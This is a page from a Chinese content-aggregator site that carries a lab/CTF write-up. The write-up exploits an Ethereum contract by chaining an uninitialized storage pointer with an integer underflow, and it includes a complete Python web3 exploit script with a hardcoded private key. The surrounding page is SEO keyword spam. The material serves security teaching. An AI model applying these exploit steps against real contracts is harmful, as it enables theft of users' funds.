当前位置: 首页 > news >正文

唐山网站定制青柠海报设计网站

唐山网站定制,青柠海报设计网站,广西网站建设-好发信息网,企业网页设计论文系列文章目录 文章目录 系列文章目录未初始化的存储指针实战二实验目的实验环境实验工具实验原理实验内容实验过程EXP利用 未初始化的存储指针实战二 实验目的 学会使用python3的web3模块 学会分析以太坊智能合约未初始化的存储指针漏洞 找到合约漏洞进行分析并形成利用 实验…系列文章目录 文章目录 系列文章目录未初始化的存储指针实战二实验目的实验环境实验工具实验原理实验内容实验过程EXP利用 未初始化的存储指针实战二 实验目的 学会使用python3的web3模块 学会分析以太坊智能合约未初始化的存储指针漏洞 找到合约漏洞进行分析并形成利用 实验环境 Ubuntu18.04操作机 实验工具 python3 实验原理 在solidity语言中像动态的数组、struct、mapping这样的复杂数据结构是不能直接在”栈”里面保存的因为”栈”里只能保存单独的”字”也就是只能保存实际数据长度小于等于32字节的简单数据类型。所以在solidity智能合约函数中声明动态数组和struct时必须明确指明其位置在storage还是memory中。 函数内声明的struct若未初始化若对其赋值则会按照Solidity存储规则从slot 0开始存储覆盖之前slot位置的变量造成不可预想的控制流劫持。 实验内容 合约中内置了未初始化的存储指针和整数溢出问题找到合约漏洞并形成利用把合约中的flag变量设置为true即可 使用python3的web3模块远程利用漏洞并获取flag 实验地址为nc ip 10008 实验过程 获取合约地址和合约源代码 nc ip 10008连接到题目输入1获取部署合约的game account及token 打开http://ip输入上述分配的game account点击Request获取eth nc ip 10008连接到题目输入2获取部署合约的地址及new token nc ip 10008连接到题目输入4获取合约源代码或者在题目附件找到合约源代码 分析合约源代码漏洞 题目要求将合约中的flag变量设置为true 分析代码逻辑需要满足balanceOf[msg.sender] 10000000但是并未有可以增加balanceOf[msg.sender]的代码 漏洞在ubw函数中函数中的第二个分支不存在初始化n在执行的时候会形成未初始化漏洞那么只要我们进入第二个分支就会修改storage中的第一个值为我们的地址第二个值为2 第一个值为secret 因此通过未初始化漏洞我们可以执行onlySecret修饰的 fate函数fate函数中存在整数溢出漏洞 通过整数溢出我们可以获得大量余额然后payforflag即可将flag设置为true EXP利用 用python编写自动化exp将下述contract_address替换成自己的题目合约地址即可总共包括三个步骤一是调用题目合约ubw()函数并转账3 wei这样就会进入到else分支将slot 0位置的secret覆盖成msg.sender就可以满足onlySecret二是调用题目合约fate(0,1)函数因为balanceOf[msg.sender]0此时0-1会产生整数下溢满足require的条件三是调用题目合约payforflag()函数因为此时balanceOf[msg.sender]由于整数下溢漏洞已经变成一个很大的数满足10000000的要求可将flag设置为true from web3 import Web3, HTTPProvider from solcx import compile_source,set_solc_version_pragma import timew3 Web3(Web3.HTTPProvider(http://192.168.2.102:8545))contract_address 0x2880bF5Afe97F3bF983598E135474D743AC366C3 private 92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb public 0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480fdef generate_tx(chainID, to, data, value):txn {chainId: chainID,from: Web3.toChecksumAddress(public),to: to,gasPrice: w3.eth.gasPrice,gas: 3000000,nonce: w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),value: Web3.toWei(value, ether),data: data,}return txndef sign_and_send(txn):signed_txn w3.eth.account.signTransaction(txn, private)txn_hash w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt w3.eth.waitForTransactionReceipt(txn_hash)print(txn_hash, txn_hash)return txn_receiptset_solc_version_pragma(^0.4.23)# call ubw() in ETH8 with 3 wei data Web3.keccak(textubw()).hex()[:10] txn generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 3e-18) txn_receipt sign_and_send(txn) if(txn_receipt[status]1):print(call ubw() success)time.sleep(5)# call fate(0,1) in ETH8 data Web3.keccak(textfate(address,uint256)).hex()[:10] data 0*64 data 1.rjust(64, 0) txn generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0) txn_receipt sign_and_send(txn) # print(txn_receipt) if(txn_receipt[status]1):print(call fate(0,1) success)time.sleep(5)# call payforflag() in ETH8 data Web3.keccak(textpayforflag()).hex()[:10] txn generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0) txn_receipt sign_and_send(txn) # print(txn_receipt) if(txn_receipt[status]1):print(call payforflag() success)执行exp nc ip 10008连接到题目输入3输入之前的new token获取flag
http://www.yutouwan.com/news/442847/

相关文章:

  • 自己创业做网站杭州网站做的好公司
  • 网上有专业的做网站吗想用vs做网站 学什么
  • 问答系统网站模板网站建设模板源码
  • 做logo的ppt模板下载网站wordpress 示例页面 删除
  • 专业律所网站建设做音乐网站要注意什么
  • 网站想要游览怎么做一个一起做网站
  • 网站要多少钱 优帮云网站建设亿玛酷知名
  • dede网站运行天数服务营销
  • 2022网页游戏排行榜绍兴网站建设优化
  • php开发做网站wordpress添加文件2m
  • 可以做淘宝客的网站有哪些wordpress默认播放器怎么用
  • 网站认证空间网站站点风格
  • 长春专业企业网站建设价格网站开发和软件
  • 做智能网站系统微网站开发平台系统软件
  • 网站页面app下载大全电影购买网站怎么设计
  • 专业微信网站建设多少钱福州做企业网站
  • node做网站给网站设置关键词
  • 网站做站群天津百度优化
  • 如何做企业网站建设电商网站页面设计
  • 做网站使用什么语言写店铺网页设计
  • 自己怎么优化我网站关键词冷链物流
  • 南宁在线制作网站淘客网站如果做优化
  • 同学录网站建设wap网站制作app
  • 小灯具网站建设方案可以做外包的网站
  • 400网站推广手机wordpress怎么安装
  • 张家界网站用dw做网站的步骤
  • 山东网站备案注意事项公司ui设计是什么
  • 网站宣传册怎么做有没有做外贸的网站啊
  • 济南网站建设认可搜点网络网络推广员工资多少钱
  • 企业网站的设计苏州市智信建设职业培训学校网站